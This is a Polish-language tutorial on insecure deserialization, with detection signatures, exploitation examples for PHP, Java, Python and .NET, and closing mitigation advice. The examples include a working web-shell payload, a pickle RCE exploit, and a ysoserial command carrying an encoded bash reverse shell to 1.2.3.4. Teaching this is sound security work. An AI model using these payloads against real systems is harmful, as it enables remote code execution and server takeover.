Insecure Deserialization
Serializacja zamienia obiekt na ciąg bajtów (do zapisu lub transmisji), a deserializacja odtwarza obiekt z tych danych. Niebezpieczna deserializacja występuje, gdy aplikacja deserializuje dane kontrolowane przez użytkownika bez weryfikacji — co może prowadzić do manipulacji logiką, eskalacji uprawnień, a najczęściej do Remote Code Execution. To kategoria A08 w OWASP Top 10.
Gdzie szukać?
Podejrzane miejsca to dane, które wyglądają na zserializowany obiekt i wracają od klienta:
- PHP – ciągi typu
O:4:"User":2:{...}(np. w ciasteczkach, polach formularzy). - Java – dane zaczynające się od
rO0AB(Base64) lub bajtówAC ED 00 05. - Python – pickle (
gASV...w Base64), często w cache, kolejkach, sesjach. - .NET –
BinaryFormatter,ViewState(__VIEWSTATE), JSON.NET zTypeNameHandling. - Ruby – Marshal, YAML (
!ruby/object). - Node.js – biblioteki typu
node-serialize.
Eksploatacja
1️⃣ PHP Object Injection
Jeśli aplikacja robi unserialize($_COOKIE['data']), a klasa zawiera „magiczną" metodę (__wakeup, __destruct), atakujący buduje obiekt uruchamiający niezamierzony kod. Przykładowa podatna klasa:
class Logger {
public $logfile;
public $data;
function __destruct() {
file_put_contents($this->logfile, $this->data);
}
}
Spreparowany payload nadpisze dowolny plik (np. wgra web shell):
O:6:"Logger":2:{s:7:"logfile";s:20:"/var/www/html/x.php";s:4:"data";s:30:"<?php system($_GET['c']); ?>";}
Łańcuchy gotowych gadżetów dla popularnych frameworków generuje PHPGGC:
git clone https://github.com/ambionics/phpggc.git
./phpggc Laravel/RCE1 system id
2️⃣ Java Deserialization (ysoserial)
Najczęstszy wektor RCE w aplikacjach Java. ysoserial generuje payloady wykorzystujące gadżety w bibliotekach na classpath (Commons-Collections, Spring itd.):
java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' > payload.bin
Payload wysyłany jest tam, gdzie aplikacja deserializuje strumień (HTTP body, parametr, RMI).
3️⃣ Python Pickle
pickle.loads() na danych użytkownika to natychmiastowe RCE — metoda __reduce__ definiuje, co wykona się przy deserializacji:
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())
Gdy serwer wykona pickle.loads(base64.b64decode(payload)) — uruchomi id.
4️⃣ .NET ViewState / BinaryFormatter
Gdy znany jest klucz maszyny (machineKey) lub walidacja ViewState jest wyłączona, ysoserial.net generuje payload RCE:
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -e <base64>" --generator=<generator> \
--validationkey=<key> --validationalg=SHA1
🔎 Metodyka testowania
- Zidentyfikuj format – rozpoznaj sygnatury (
rO0,O:,gASV,__VIEWSTATE). - Potwierdź deserializację po stronie serwera – zmień jeden bajt i obserwuj błąd parsera.
- Sprawdź wykrywalne gadżety – jakie biblioteki są w użyciu (wersje, frameworki).
- Zacznij od kanału OOB – payload wywołujący
curl/DNS do serwera atakującego potwierdza wykonanie zanim sięgniesz po pełne RCE.
Jak zabezpieczyć aplikację?
✅ Nie deserializuj danych z niezaufanych źródeł. To najważniejsza zasada.
✅ Używaj formatów danych bez wykonywania kodu – JSON/Protobuf z prostym mapowaniem na typy.
✅ Podpisuj i weryfikuj integralność zserializowanych danych (HMAC), jeśli muszą krążyć przez klienta.
✅ Stosuj allowlist typów dozwolonych do deserializacji (np. ObjectInputFilter w Javie).
✅ Aktualizuj biblioteki – wiele gadżetów to znane CVE w starych wersjach (A06).
✅ W .NET – unikaj BinaryFormatter (przestarzały), chroń machineKey.
Niebezpieczna deserializacja to częsty, lecz niedoceniany wektor RCE. Kolejnym krokiem będzie analiza podatności OAuth 2.0, OIDC i SAML! 🚀